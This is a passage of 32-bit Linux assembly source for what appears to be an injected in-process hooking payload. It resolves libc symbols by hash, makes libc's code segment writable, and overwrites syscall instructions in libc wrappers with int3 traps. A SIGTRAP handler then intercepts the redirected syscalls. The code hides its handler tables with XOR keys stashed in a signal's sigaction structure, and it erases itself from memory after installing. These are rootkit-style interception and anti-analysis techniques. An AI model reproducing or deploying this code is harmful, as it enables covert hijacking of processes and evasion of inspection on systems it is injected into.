int 80h call [ebp+cksys-gdelta] pop eax ; stack layout: [ret(1b)][.test_noexec(vaddr4b)] .gen_segfault: xor eax,eax ; eax = nonexec stack flag (nxsf) lea esi,[esp-(1+_push)] ; esi points to "ret" instruction into the stack (esp-1-4) mov byte[esi],byte _retinst ; put "ret" instr and call esi ; jump to it = inserts .test_noexec vaddr .test_noexec: cmp eax,nxsf ; this test if a segfault was produced or not: jne .rest_segvhndl ; eax != nxsf: exec stack, noexec = 0 (default) inc byte [ebp+noexec-gdelta] ; eax = nxsf: non exec stack (segfault), noexec = 1 jmp .rest_segvhndl .sigsegv_hndl: mov edi,esp ; just change eip & eax registers of previous ctx call getDelta ; if this code is being executed a segfault was produced so mov dword[edi+sigfrm_ctx_eax],nxsf ; stack is not executable : set flag lea eax,[ebp+.test_noexec-gdelta] mov dword[edi+sigfrm_ctx_eip],eax ; change eip to points at ".test_noexec" %ifdef DBG pushad lea ecx,[ebp+dbug_msg3-gdelta] call write_logfile popad %endif ret ; (sigeturn) .rest_segvhndl: push dword [ebp+orig_segvhndl-gdelta]; act->handler = orig sigsegv handler push byte sc_sigaction ; ecx = act, edx = 0 pop eax int 80h ; restore orig handler add esp,byte (4*_push) call [ebp+cksys-gdelta] push byte (sosr_flag_elf32sym+sosr_flag_onetbl) lea eax, [ebp+magic_table-gdelta] push eax push eax call rslv_libcsyms ; locate syscall wrappers add esp,byte(3*_push) %ifdef DBG pushad lea ecx,[ebp+dbug_msg4-gdelta] call write_logfile popad %endif call patch_scw ; patch syscall wrappers %ifdef DBG pushad lea ecx,[ebp+dbug_msg5-gdelta] call write_logfile popad %endif call setup_tsd ; prepare TSD %ifdef DBG pushad lea ecx,[ebp+dbug_msg6-gdelta] call write_logfile popad %endif push sosr_flag_twotbl lea eax,[ebp+func_vatbl-gdelta] push eax lea eax,[ebp+func_hashtbl-gdelta] push eax call rslv_libcsyms add esp,(3*_push) %ifdef DBG pushad push byte 7Fh pop eax sub esp,eax mov ecx,esp push dword[ebp+code_address-gdelta] lea ebx,[ebp+dbug_msg0-gdelta] push ebx push eax push ecx call [ebp+va_snprintf-gdelta] pop ecx call write_logfile add esp,(7Fh+_push*3) popad %endif lea ecx,[ebp+mpfr_struct-gdelta] push ecx call mpfr_close ; close mpfr pop eax mov byte[ebp+installed-gdelta],dl ; instalation was success %ifdef call close_logfile ; close log_file %endif eraseme: ; --[ eraseme routine ]-----------------: code eraser and context restorer mov esp,dword[ebp+orig_esp-gdelta] ; place original context into stack: mov edi,esp ; registers saved by POPAD & POPFD instructions and mov ecx,(context_size/4) ; a DWORD which contains the next instruction to be lea esi,[ebp+context-gdelta] ; executed, the value at the point in which flow rep movsd ; was interrupted (orig EIP) add cl,byte 1 ; if the routine was called because of a critical installed equ $-1 ; error, unmap the segment which contains the code jecxz restctx ; if not, it is last part of the instalation procedure mov ecx,[ebp+noexec-gdelta] ; if stack is no executable dec ecx ; , does not unmap, restore only jecxz restctx lea esi,[ebp+eraser-gdelta] ; copy eraser & restctx routines mov ecx,(ckerr_zero-eraser) ; into the stack sub esp,ecx mov edi,esp rep movsb push dword[ebp+orig_esp-gdelta] ; push orig esp ; push munmap arguments: push dword[ebp+room_size-gdelta] ; arg1: segment size push dword[ebp+code_address-gdelta] ; arg2: segment starting address push byte sc_munmap ; sysn: munmap number ; stack layout: lea edx,[esp+_push*4] ; [sysn|arg1|arg2|esp|(eraser/restctx)code|context] jmp edx ; time to die '---< esp points to >----| | ; | | eraser: pop eax ; pop munmap syscall number | | pop ebx ; pop munmap arg1 | | pop ecx ; pop munmap arg2 | | pop esp ; pop esp )----------->-------------------' | int 80h ; execute munmap, free mem (must not fail!!) | ; | restctx: popfd ; restore ctx, here esp points to ---------->-----' popad ret ; after ret, eip & esp are restored ckerr_zero: test eax,eax ; test if eax == 0 je eraseme ret ckerr_sone: test eax,eax ; test if eax == -1 js eraseme ret rslv_libcsyms: ;---[ rslv_libcsyms ]-------------------: resolve one or more symbols pushad ; of the libc shared object lea ebx,[ebp+sosr_struct-gdelta] mov esi,dword[esp+_pparam1] ; arg1 = hashtbl lodsd mov [ebx+sosr_hash_table],esi mov edi,dword[esp+_pparam2] ; arg2 = vatbl mov [ebx+sosr_va_table],edi mov [ebx+sosr_sym_count],eax mov eax,dword[esp+_pparam3] ; arg3 = flags mov [ebx+sosr_flags],eax lea eax,[ebp+libcso_map_names-gdelta] mov [ebx+sosr_map_names],eax lea eax,[ebp+libcso_lkm_names-gdelta] mov [ebx+sosr_lkm_names],eax push ebx call sosr pop ebx popad ret patch_scw: ;---[ patch_scw routine ]---------------: pushad .find_seg: lea eax,[ebp+libcso_map_names-gdelta] push eax ; name list lea eax,[ebp+mpfr_struct-gdelta] push eax ; *mpfr call mpfr_search_by_names ; get map entry of libc's text segment add esp,(2*_push) test eax,eax je .seg_notfound .check_seg: mov ebx,dword elf_magic ; check if the entry bswap ebx ; found is a text segment mov ecx,dword[eax+mapent_start] cmp ebx,dword[ecx] je .save_seg_info .seg_notfound: call [ebp+sdr-gdelta] ; seg not found or incorrect: error .save_seg_info: mov ecx,dword[eax+mapent_size] ; save seg base address & size mov dword[ebp+libc_text_size-gdelta],ecx mov ebx,dword[eax+mapent_start] mov dword[ebp+libc_text_base-gdelta],ebx .unprotect_seg: push ecx push ebx push byte 7h ; enable rwx access pop edx push byte sc_mprotect pop eax int 80h call [ebp+cksys-gdelta] .init_ade: push dword[ebp+ade_flagtable-gdelta] ; address of flagtable call ade_init ; initialize flagtable pop eax push dword[ebp+(magic_table+magic_entnum)-gdelta] ; esp+4 = scw count lea eax,[ebp+(magic_table+magic_entry)-gdelta] push eax ; esp+0 = hash table address .process_scw: mov eax,dword[esp] mov ebx,dword[eax+magic_address] ; ebx = elf32sym address mov edx,dword[ebx+elf_sym_size] ; edx = ebx->st_size: sym code size mov esi,dword[ebx+elf_sym_value] ; esi = ebx->st_value: sym code address cmp esi,dword[ebp+libc_text_base-gdelta] jae .va .rva: add esi,dword[ebp+libc_text_base-gdelta] .va: lea ebx,[ebp+ssii_table-gdelta] ; ebx = ssii table address movzx ecx,byte[ebx] ; ecx = ssii count inc ebx xor edi,edi .process_ssii: call insert_hook ; search any ssii within the symbol add edi,eax ; code and replace them with a hook mov al,byte[ebx+ssii_next] add ebx,eax loop .process_ssii test edi,edi jne .next_scw mov eax,dword[esp] ; none was found mov byte[eax+magic_code],magic_badentry .next_scw: add dword[esp],magic_entsize ; next scw, dec counter dec dword[esp+4] jne .process_scw add esp,(2*_push) .protect_seg: pop ebx ; restore the original pop ecx ; access protection values push byte 5 pop edx push byte sc_mprotect pop eax int 80h call [ebp+cksys-gdelta] popad ret insert_hook: ; search any ssii within the symbol code and ; replace them with hooks. Params: ; edx = code size, esi = code start, ebx = ssii desc pushad xor eax,eax mov [ebp+ssii_found-gdelta],eax ; set found var = 0 ; ade_disasm params: push dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address push dword[ebp+ade_dstruct-gdelta] ; p2: disasm struct address push esi ; p1: code address .next_inst: mov edi,dword[esp+_push] ; disassemble one instruction: mov word[edi],0404h ; set disasm options = 32 bit code sub edx,eax ; code size - next instr size (first time eax = 0) je .ret ; test if end of code add dword [esp],eax ; point to next instr (first time eax = 0) .disasm_instr: call ade_disasm ; ret(eax) = instr size .check_size: cmp al,byte[ebx+ssii_size] ; * first check: compare size jne .next_inst ; size not equal, try next instr .check_content: movzx ecx,byte[ebx+ssii_contentsz] ; get bytes to be compared lea edi,[ebx+ssii_content] mov esi,dword[esp] repe cmpsb ; * second check: compare instruction content jne .next_inst ; code not equal, try next instr mov dword[ebp+ssii_found-gdelta],1h ; ssii found: found_var = 1 push eax ; save instr size .patch movzx ecx,byte[ebx+ssii_contentsz] ; respos esi to the first byte sub esi,ecx ; of the instruction mov cl,byte[ebx+ssii_size] ; get instruction size xchg edi,esi .write_trap: push _trap pop eax stosb ; insert trap push _nop pop eax dec ecx .write_nop: stosb ; insert nops loop .write_nop pop eax jmp .next_inst .ret: add esp,(3*_push) mov eax,12345678h ssii_found equ $-4 mov dword[esp+_pushad_eax],eax popad ret setup_tsd: ;---[ setup_tsd routine ]---------------: pushad xor ecx,ecx .get_traphndl: mov edx,ecx mov cl, byte 4 .clean_sigact: push edx ; sigaction struct (16b) loop .clean_sigact mov edx,esp ; edx = oldact, ecx = 0 push byte sigtrap pop ebx push byte sc_sigaction pop eax int 80h ; get original sigtrap hanlder call [ebp+cksys-gdelta] pop eax test eax,eax je .set_traphndl ; oldact->handler = 0, no handler mov dword [ebp+orig_traphndl-gdelta],eax ; save oldact->handler .set_traphndl: xchg ecx,edx lea eax, [ebp+tsd-gdelta] push eax ; act->handler = new handler address push byte sc_sigaction ; ecx = act, edx = 0 pop eax int 80h ; set our sigtrap handler: the TSD add esp,(4*_push) call [ebp+cksys-gdelta] .install_sch: mov ecx,[ebp+(magic_table+magic_entnum)-gdelta] lea esi,[ebp+(magic_table+magic_entry)-gdelta] mov edi,esi .next: xor eax,eax ; register syscall sub-handlers lodsb stosb ; get syscall number call schndl_lookup ; get handler for this syscall = eax stosd ; save handler address lodsd loop .next %ifdef CRYPT .gen_keys: mov edx,ecx ; generate a pair of "random" keys lea ebx,[ebp+dev_random-gdelta] push byte sc_open ; open /dev/random pop eax ; mode = 0, flags = O_RDONLY(0) int 80h call [ebp+cksys-gdelta] push byte 4 pop edx push ecx mov ecx,esp ; ecx = DWORD *val xchg ebx,eax ; ebx = /dev/random fd push byte sc_read ; read a DWORD of random bytes pop eax int 80h call [ebp+cksys-gdelta] push byte sc_close pop eax int 80h ; close /dev/random call [ebp+cksys-gdelta] ; ret ok = 0 xchg ebx,eax rdtsc ; rdtsc edx:eax pop edx ; get DWORD push ebx bswap edx xchg dl,ah ; edx = (1st) key for magic table xchg dh,al ; eax = (2nd) key for syscall handlers .save_keys: xchg esi,edx xchg edi,eax push esi ; sigact->restorer = 1st key push ebx ; 0 push ebx ; 0 push esp ; sigact->handler = put any valid vaddr xchg edx,ebx ; oldact = 0 mov ecx,esp ; act = esp push byte rt_signal ; runtime signal SIGRTMIN+3+X pop ebx push byte sc_sigaction pop eax int 80h ; save first key in a runtime signal mov dword[esp+(3*_push)],edx ; clean key into stack call [ebp+cksys-gdelta] add esp,(5*_push) xchg edx,esi xchg eax,edi .encrypt_mtbl: mov dword[ebp+_mtbl_begin_-gdelta],eax ; second key is stored in xchg eax,edx ; the magic table lea esi,[ebp+_mtbl_begin_-gdelta] mov edi,esi mov ecx,(_mtbl_end_-_mtbl_begin_)/4 call xxor ; encrypt magic table with first key .encrypt_schnl: xchg eax,edx lea esi,[ebp+_schndl_begin_-gdelta] mov edi,esi mov ecx,(_schndl_end_-_schndl_begin_)/4 call xxor ; encrypt syscall handlers with second key ; eax = edx = 0 %endif .disable_HEP: ; test the TSD with HEP disabled xor ecx,ecx mov dword[ebp+hep-gdelta],ecx ; disable HEP mov eax,ecx ; eax = 0, test routine inc ecx ; test routine params: mov ebx,ecx ; ebx = 1, ecx = 2, edx = 3 inc ecx mov edx,ecx inc edx mov dword[ebp+pid-gdelta],eax ; clean check var int3 ; ---< internal trap >----------: invoke the TSD in non­protected mode push byte sc_getpid pop eax int 80h ; get current pid mov esi,eax cmp eax,dword[ebp+pid-gdelta] ; test if the TSD was executed successfully je .enable_HEP call [ebp+sdr-gdelta] ; if eax != pid, TSD failed: error .enable_HEP: ; test the TSD with HEP enabled (set as default) mov dword[ebp+hep-gdelta],ebx ; enable HEP dec ebx mov dword[ebp+pid-gdelta],ebx ; clean check var inc ebx xor eax,eax int3 ; ---< internap trap >----------: invoke the TSD in protected mode cmp esi,dword[ebp+pid-gdelta] jne .ok call [ebp+sdr-gdelta] ; if edi == pid, TSD failed: error .ok: popad ret tsd: ;---[ trapped syscall dispatcher ]------: mov edi,esp ; edi = *sigframe call getDelta ; get delta offset %ifdef CRYPT lea eax,[ebp+.sigfrm_ctx-gdelta] mov dword[eax],edi .get_key: sub esp,(4*_push) ; get first key, placed in mov edx,esp ; kernspace, a runtime signal xor ecx,ecx push byte rt_signal ; linuxthreads uses the first pop ebx ; 3 rt_signals push byte sc_sigaction pop eax int 80h call [ebp+cksys-gdelta] .decrypt_mtbl: mov eax,dword[edx+sigact_restorer] ; key = act->restorer mov dword[edx+sigact_restorer],ecx ; act->restorer = 0 add esp,(4*_push) push eax ; save&crypt 1key lea esi,[ebp+_mtbl_begin_-gdelta] mov edi,esi mov ecx,(_mtbl_end_-_mtbl_begin_)/4 call xxor ; decrypt magic table with first key mov eax,dword[ebp+_mtbl_begin_-gdelta] mov dword[ebp+_mtbl_begin_-gdelta],ecx ; clean key into magic table xor dword[esp],eax push eax ; save&crypt 2key xor dword[esp],ebp .decrypt_schnl: lea esi,[ebp+_schndl_begin_-gdelta] mov edi,esi mov ecx,(_schndl_end_-_schndl_begin_)/4 call xxor ; decrypt syscall handlers with second key lea eax,[ebp+.encrypt_schnl-gdelta] push eax ; return value mov edi,12345678h ; edi = sigframe address .sigfrm_ctx equ $-4 lea eax,[ebp+.check_HEP-gdelta] jmp eax ; continue handler execution .encrypt_schnl: xor ecx,ecx ; encrypt again call getDelta pop eax xor eax,ebp ; get second key (eax) mov [esp-4],ecx pop ebx ; get first key (ebx) xor ebx,eax mov [esp-4],ecx mov dword[ebp+_mtbl_begin_-gdelta],eax ; save second key into magic table lea esi,[ebp+_schndl_begin_-gdelta] mov edi,esi mov ecx,(_schndl_end_-_schndl_begin_)/4 call xxor ; encrypt syscall handlers .encrypt_mtbl: xchg eax,ebx lea esi,[ebp+_mtbl_begin_-gdelta] mov edi,esi mov ecx,(_mtbl_end_-_mtbl_begin_)/4 call xxor ; encrypt magic table ret ; real sigreturn %endif .check_HEP: mov eax,dword[edi+sigfrm_ctx_eip] ; handler execution prevention mov ebx,dword[ebp+libc_text_base-gdelta] xor edx,edx cmp edx,dword[ebp+hep-gdelta] ; if HEP is disabled: skip checking je .dispatch ; if HEP is enabled: only instructions cmp eax,ebx ; which are part of the libc's text jb .sigreturn ; segment are allowed to be handled add ebx,dword[ebp+libc_text_size-gdelta] cmp eax,ebx ja .sigreturn .dispatch: mov ecx,dword[edi+sigfrm_ctx_eax] ; dispatch syscall lea eax,[ebp+test_schndl-gdelta] jecxz .do_schndl ; if ecx = 0, run test function xchg ebx,ecx ; ebx = number of syscall executed mov ecx,[ebp+(magic_table+magic_entnum)-gdelta] ; ecx = syscall handlers count lea esi,[ebp+(magic_table+magic_entry)-gdelta] ; esi = magic table address .get_schndl: xor eax,eax ; search syscall handler lodsb xchg edx,eax lodsd ; get syscall handler address cmp edx,ebx ; handler found, execute it je .do_schndl loop .get_schndl lea eax,[ebp+def_schndl-gdelta] ; handler not found, use default: def_schndl .do_schndl: call eax ; execute handler .sigreturn: ret ; return from signal handler (sigreturn) def_schndl: ; handler for non-registered syscalls - : the simplest one: call load_fctx ; - load fctx (scid/args) int 80h ; - execute syscall mov dword[edi+sigfrm_ctx_eax],eax ; - restore context ret test_schndl: ; used by setup_tsd() to test TSD call load_fctx inc eax cmp bl,al ; ebx = 1 jne .ret inc al cmp cl,al ; ecx = 2 jne .ret inc al cmp dl,al ; edx = 3 push byte sc_getpid pop eax int 80h mov dword[edi+sigfrm_ctx_eax],eax mov dword[ebp+pid-gdelta],eax .ret ret load_fctx: ; this just loads required regs : eax,ebx,ecx,edx,esi mov eax,dword[edi+sigfrm_ctx_eax] mov ebx,dword[edi+sigfrm_ctx_ebx] mov ecx,dword[edi+sigfrm_ctx_ecx] mov edx,dword[edi+sigfrm_ctx_edx] mov esi,dword[edi+sigfrm_ctx_esi] ret ; edi is not used as argument xxor: ; xor: eax = key, ecx = size, esi = edi = init buff mov dword[ebp+.key-gdelta],eax .next_dword: lodsd xor eax,12345678h .key equ $-4 stosd loop .next_dword mov dword[ebp+.key-gdelta],ecx ; clean key mov eax,ecx ret ;===============================================================================| ; shared object symbol resolver ;===============================================================================| ; sosr struct: sosr_flags equ 00h ; DWORD : options sosr_hash_table equ 04h ; PVOID : symbol hash table sosr_va_table equ 08h ; PVOID ; symbol address table sosr_sym_count equ 0Ch ; DWORD : num of symbols to be resolved sosr_base equ 10h ; DWORD : shared object base address sosr_dynamic equ 14h ; DWORD : dynamic section address sosr_map_names equ 18h ; PVOID : map name list (gsoinf_by_maps) sosr_lkm_names equ 1Ch ; PVOID : lkm name list (gsoinf_by_lkm) sosrsz equ 7*4h ; sosr struct size sosr_flag_onetbl equ 02h ; use the magic table sosr_flag_twotbl equ 04h ; use hash & va tables sosr_flag_elf32sym equ 20h sosr_flag_libcbase equ 40h ; VOID sosr(sosr *) sosr: pushad mov eax,dword[esp+_pparam1] ; eax = *sosr mov ecx,[eax+sosr_base] ; test if the sosr jecxz .gsoinf ; struct passed was mov ecx,[eax+sosr_dynamic] ; previously initialized jecxz .gsoinf jmp get_sects ; base & dynamic fields ok .gsoinf: ; get the shared object base address and the value of its dynamic ; section, these two fields are required in order to resolve any ; symbol. There are two ways of doing it: gsoinf_by_maps: ; 1A) first method: get info from /proc/PID/mapfile (it uses mpfr API): ; Should work for most linux distros (default) .get_seg: push dword[eax+sosr_map_names] ; name list push dword[ebp+maps-gdelta] ; *mpfr xchg ebx,eax call mpfr_search_by_names ; search shared object by its name add esp,(2*_push) test eax,eax je gsoinf_by_lkm ; seg not found, try next method xchg ebx,eax ; seg found = ebx .check_seg: mov ecx,dword elf_magic ; check if this entry bswap ecx ; is a text segment mov edx,dword[ebx+mapent_start] cmp ecx,dword[edx] jne gsoinf_by_lkm ; if not, try next method .get_dyn: mov edx,dword[ebx+mapent_start] ; get the dynamic section movzx ecx,word[edx+elf_hdr_phnum] add edx,dword[edx+elf_hdr_phoff] .next_phdr: cmp byte [edx],elf_phdr_type_dynamic je .save_base add edx,byte elf_phdr_entsize loop .next_phdr jmp gsoinf_by_lkm ; section not found, try next method .save_base: push dword[ebx+mapent_start] ; save base address pop dword[eax+sosr_base] .get_dyn_vaddr: mov ecx,dword[edx+elf_phdr_vaddr] ; test if phdr->p_vaddr is cmp ecx,dword[eax+sosr_base] ; an offset jae .save_dyn add ecx,dword[eax+sosr_base] .save_dyn: mov dword[eax+sosr_dynamic],ecx ; save dynamic section address jmp get_sects ; proceed to the next step gsoinf_by_lkm: ; 2A) second method: get info from link_map structures: ; Does not work properly with some libc/linker/kernel versions mov ebx,[ebp+link_map-gdelta] ; get linkmap address test ebx,ebx ; only once (for same process) jne .get_lkment ; it was cleaned at "setup" mov ebx, dword elf_image_base ; ** hardcoded address ** movzx ecx,word[ebx+elf_hdr_phnum] ; ecx = program header table entnum add ebx,dword[ebx+elf_hdr_phoff] ; eax = program header table .next_phdr: mov edx,dword[ebx+elf_phdr_vaddr] ; edx = phdr->p_vaddr cmp byte [ebx],elf_phdr_type_dynamic ; search for dynamic section je .next_dyn ; dynamic section found add ebx,byte elf_phdr_entsize loop .next_phdr call [ebp+sdr-gdelta] ; dynamic section not found, error .next_dyn: mov ebx,edx ; search for got section add edx,byte elf_dyn_entsize cmp byte[ebx],elf_dyn_tag_pltgot je .next_got ; got section found cmp bh,byte[ebx] ; ** jne .next_dyn call [ebp+sdr-gdelta] ; got section not found, error .next_got: mov ebx,dword[ebx+4] ; ebx+4 = dyn->dt_val = got mov ebx,dword[ebx+4] ; got[1] = linkmap, ebx = first entry mov [ebp+link_map-gdelta],ebx ; save linkmap address .get_lkment: push dword[ebx+link_map_name] ; get a linkmap entry given push dword[eax+sosr_lkm_names] ; a list of shared object names call cmp_name add esp,(2*_push) jecxz .save ; entry found, save mov ebx,[ebx+link_map_next] test ebx,ebx jne .get_lkment call [ebp+sdr-gdelta] ; entry not found, error .save: push dword[ebx+link_map_base] pop dword[eax+sosr_base] ; save base address push dword[ebx+link_map_dyn] pop dword[eax+sosr_dynamic] ; save dynamic section address get_sects: ; 2) get some required sections: hash, dynsym, dynstr mov edx,dword[eax+sosr_dynamic] ; edx: shared object's dynamic section lea esi,[esp-(3*_push)] ; addresses will be stored into the stack .search: mov cl,byte[edx+elf_dyn_dtag] ; cl = entry type test cl,cl jz .test ; end of dynamic section (DT_NULL entry) cmp cl, byte 4h _hash equ 8h jz .save ; save hash: [esp+8] = _hash cmp cl, byte 5h _dynstr equ 4h jz .save ; save dynsym: [esp+4] = _dynsym cmp cl, byte 6h _dynsym equ 0h jnz .next ; save dynstr: [esp+0] = _dynstr .save: mov ecx,[edx+elf_dyn_dval] ; "add ecx,[eax+sosr_base]" not required push ecx ; save address for this section into the stack .next: add edx,byte elf_dyn_entsize ; continue with next dynamic entry jmp .search .test: cmp esi,esp ; check if were 3 push je get_syms call [ebp+sdr-gdelta] ; error: some sections could not be found get_syms: ; 3) get symbols addresses .set_params: mov edx,dword[eax+sosr_flags] mov edi,dword[eax+sosr_hash_table] mov esi,dword[eax+sosr_va_table] mov ebx,dword[eax+sosr_base] mov ecx,dword[eax+sosr_sym_count] .method: test dl,byte sosr_flag_onetbl jne .onetbl test dl,byte sosr_flag_twotbl jne .twotbl jmp .ret .onetbl: inc edi ; skip first byte (syscall number) call resolve ; ret eax: elf32sym struct address or symbol code address stosd ; save address loop .onetbl ; resolve next jmp .ret .twotbl: call resolve ; resolve symbol xchg esi,edi stosd ; save address lodsd xchg edi,esi loop .twotbl .ret: add esp,(3*_push) popad ret resolve: ; this procedure resolve a shared object symbol by hash: ; params: ; (explicit ones) ; ebx : base address of the shared object ; edi : beginning of a symbol hash table ; ecx : number of entries in the table ; edx : resolver options ; (implicit ones) ; esp + 4 + 8 + 12: hash, dynsyn, dynstr sections ; ret: ; edx = sosr_flag_elf32sym => Elf32_Sym address ; edx = 0 => symbol code address ; *1 num_bucket : hash_table_vaddr + 0 [int] ; buckets : hash_table_vaddr + 8 (vaddr) ; *2 chains : hash_table_vaddr + 8 + num_buket * 4 pushad mov ebp,edx mov esi, dword [esp+_pparams+_hash] xor edx,edx mov eax, dword [edi] div dword [esi] mov ecx, [esi + 4*edx + 8] mov edx,[esi] lea esi,[esi + 4*edx + 8] .next: jecxz .done ; if idx = 0 sym not found imul eax,ecx,byte 16 ; ent offset: idx * elf32sym size(16b) add eax,[esp+_pparams+_dynsym] ; eax = offset + dynsym vaddr = elf32sym mov edx,[eax] ; edx = elf32sym->st_name add edx,[esp+_pparams+_dynstr] ; edx += dynstr vaddr (sym name) call elf_hash ; compute hash for symbol name mov ecx,[esi + 4*ecx] ; get next index in chain cmp edx,dword[edi] ; compare hashes jnz .next ; not equal, try next one test ebp,dword sosr_flag_elf32sym ; save Elf32_Sym addr jne .save mov eax,[eax + 4] ; save sym code addr cmp eax,ebx ; eax->st_value jae .save add eax,ebx .save: mov dword [esp+_pushad_eax],eax .done: popad ret elf_hash: ; elf hash algorithm: edx = string address pushad mov esi,edx xor eax,eax cdq ; eax = edx = 0 mov bl,byte 0f0h shl ebx,24 .next: lodsb ; get next char and test test al,al ; if end of string je .done shl edx,4 add edx,eax mov ecx,edx and ecx,ebx jz .j1 mov edi,ecx shr edi,24 xor edx,edi .j1: not ecx and edx,ecx jmp .next .done: mov dword [esp+_pushad_edx],edx ; edx = hash value popad ret cmp_name: ; compare a name with a list of given strings pushad mov ebp,[esp+_pparam1] ; str list mov ebx,[esp+_pparam2] ; name mov ecx,[ebp] .next_name: jecxz .not_found xchg ecx,edx lea esi,[ebp+_dword+4] mov ecx,[ebp+_dword+0] add ebp,ecx mov edi,ebx repe cmpsb je .found ; ecx = 0 (name match) xchg edx,ecx loop .next_name .not_found: inc ecx .found: popad ret ;===============================================================================| ; map file reader ;===============================================================================| ; mpfr struct: mpfr_list equ 00h ; PMAPENT : first mapentry (linked list head) mpfr_path equ 04h ; LPSTR : mapfile path: /proc/X/maps mpfr_count equ 08h ; DWORD : number of maps mpfr_blk_list equ 0Ch ; PDWORD : number of mapent_blocks allocated mpfr_blk_size equ 10h ; DWORD : mapent_block size (default : 4096b|1000h) ; map entry struct: mapent_start equ 00h ; DWORD : beginning of segment mapent_end equ 04h ; DWORD : ending of segment mapent_size equ 08h ; DWORD : segment size mapent_flags equ 0Ch ; DWORD : segment type and options mapent_name equ 10h ; LPSTR : segment name (shared objects only) mapent_namesz equ 14h ; DWORD : segment name size mapent_next equ 18h ; PMAPENT : next entry mapentsz equ 7*4 ; mapent struct size ; segment options: sprot_read equ 01h ; segment can be read: (r--) sprot_write equ 02h ; segment can be written: (-w-) sprot_exec equ 04h ; segment can be executed: (--x) sprot_shared equ 08h ; segment is a shared memory area ; segment types: stype_stack equ 10h ; stack segment: [stack] stype_vdso equ 20h ; vdso segment: [vdso] stype_heap equ 40h ; heap segment: [heap] max_num_blks equ 10 ; should be enough (10*blk_size) blk_size equ 1000h ; 4096b ; DWORD mpfr_open(mpfr *) mpfr_open: pushad mov ebp,dword [esp+_pparam1] ; ebp = *mpfr xor ecx,ecx mov dword [ebp+mpfr_list],ecx mov dword [ebp+mpfr_count],ecx ; clean some fields mov dword [ebp+mpfr_blk_list],ecx .open_maps: mov ebx,[ebp+mpfr_path] ; read-only (ecx =0) push byte sc_open ; open mapsfile pop eax int 80h push eax ; save mpf_fd .get_size: mov edx,512 ; get size of file sub esp,edx ; , we can not use stat() mov ecx,esp ; or mmap() mov ebx,eax xor edi,edi ; counter .next_blk: push byte sc_read pop eax int 80h add edi,eax test eax,eax jne .next_blk add esp,edx ; round up the size dec eax ; to the next 0x1000 shr eax,20 ; boundary (eax = 0) add edi,eax not eax and edi,eax .map_size: xor edx,edx push edx dec edx push edx push byte 22h push byte 7 push edi inc edx push edx mov ebx,esp push byte sc_mmap ; map memory for mapfile pop eax ; it cannot be mapped directly int 80h xchg esi,eax ; esi = first byte (p) add esp,(_push*6) mov ecx,edx ; ecx = edx => SEEK_SET(0) pop ebx ; mpf_fd push byte sc_lseek ; respos data pointer pop eax int 80h ; ret = eax = 0 .get_data: mov edx,512 ; read map file and store mov ecx,esi ; it into the previously .nnext_blk: add ecx,eax ; mapped memory area push byte sc_read pop eax int 80h test eax,eax jne .nnext_blk call alloc_blk ; allocate initial mapent_block mov edx,eax add edx,[ebp+mpfr_blk_size] ; edx = end of current block add eax,(4+max_num_blks*4) ; first block header: number of blocks and array of pointers mov [ebp+mpfr_list],eax ; first entry mov edi,eax ; edi = first ENTRY .get_map: inc dword [ebp+mpfr_count] ; inc map counter push esi call str2ulong pop eax mov [edi+mapent_start],eax ; ENT->start add esi,byte 9 push esi call str2ulong pop ebx mov [edi+mapent_end],ebx ; ENT->end add esi,byte 9 sub ebx,eax mov [edi+mapent_size],ebx ; ENT->size .get_flag: xor ah,ah .f_r: lodsb cmp al,2Dh ; (2D = '-') je .f_w or ah,byte sprot_read ; read prot .f_w: lodsb cmp al,2Dh je .f_x or ah,byte sprot_write ; write prot .f_x lodsb cmp al,2Dh je .f_s or ah,byte sprot_exec ; exec prot .f_s: lodsb cmp al,73h jne .set_flag or ah,byte sprot_shared ; shared segment .set_flag: or byte [edi+mapent_flags],ah ; ENT->flags .get_name: lea esi,[esi+17] ; p+=17 .skip_digit: lodsb cmp al,20h ; (20 = ' ') jne .skip_digit dec esi .skip_space: lodsb cmp al,20h je .skip_space dec esi ; at this point *esi(p) = point ; to first byte of name or "\n" mov [edi+mapent_name],esi ; save begining of name, used to copy it later push esi .get_eol: lodsb cmp al,0Ah ; (0A = '\n') jne .get_eol dec esi ; at this point *esi(s) = point to "\n", the end of the line mov [edi+mapent_namesz],esi ; esi = *s pop ebx ; ebx = *p sub [edi+mapent_namesz],ebx ; str_size = (s - p) mov ecx,[edi+mapent_namesz] jecxz ._no_name inc ecx ._no_name: lea eax,[edi+mapentsz] ; eax = end of mapent (begining of name) add ecx,eax add ecx,byte mapentsz ; (ecx=0 or ecx=namesz+1(nul byte)) += edi+mapentsz*2 cmp ecx,edx jbe .set_name call alloc_blk ; allocate new mapent_block if current is full mov edx,eax ; eax = address of new block add edx,[ebp+mpfr_blk_size] ; edx = ending of block .set_name: mov ecx,[edi+mapent_namesz] jecxz .set_next ; if no name, skip this step push esi ; if this map has name, copy it just after mov esi,[edi+mapent_name] ; the mapent structure (eax) mov ebx,edi mov edi,eax rep movsb mov [ebx+mapent_name],eax ; ENT->name add eax,[ebx+mapent_namesz] inc eax ; eax += namesz + 1 (null byte) => point to next entry push eax xor ax,ax .test_vdso: call ._vdso_ ; check if vdso segment db "[vdso]",00h ._vdso_: pop edi mov esi,[ebx+mapent_name] mov ecx,[ebx+mapent_namesz] repe cmpsb jne .test_stack or ax,stype_vdso .test_stack: call ._stack_ ; check if stack segment db "[stack]",00h ._stack_: pop edi mov esi,[ebx+mapent_name] mov ecx,[ebx+mapent_namesz] repe cmpsb jne .test_heap or ax,stype_stack .test_heap: call ._heap_ ; check if heap segment db "[heap]",00h ._heap_: pop edi mov esi,[ebx+mapent_name] mov ecx,[ebx+mapent_namesz] repe cmpsb jne .set_stype or ax,stype_heap .set_stype: or word [ebx+mapent_flags],ax ; set segment type pop eax xchg edi,ebx pop esi .set_next: inc esi ; (byte)*esi => '\n' (at this point esi always must point to '\n') mov bl,byte [esi] ; (byte)*esi => 'X'(non zero char) or '\0' test bl,bl ; if X = '0'('\0') => end of file je .ret ; set next = 0 mov [edi+mapent_next],eax ; eax = correct address of next entry: in current or new block xchg edi,eax jmp .get_map .ret: xor eax,eax ; end of file : all the lines were processed mov [esp+_pushad_eax],eax popad ret ; VOID mpfr_close(mpfr *) mpfr_close: pushad mov ebp,[esp+_pparam1] ; ebp = *mpfr mov ebx,[ebp+mpfr_blk_list] mov ecx,[ebx] .free: call free_blk ; free all previously loop .free ; allocated mapent_blocks popad ret ; DWORD alloc_blk(void) alloc_blk: ; maps a new block of mpfr->blk_size size and adds ; it to the list of allocated blocks mpfr->blk_list pushad .map_blk: xor edx,edx push 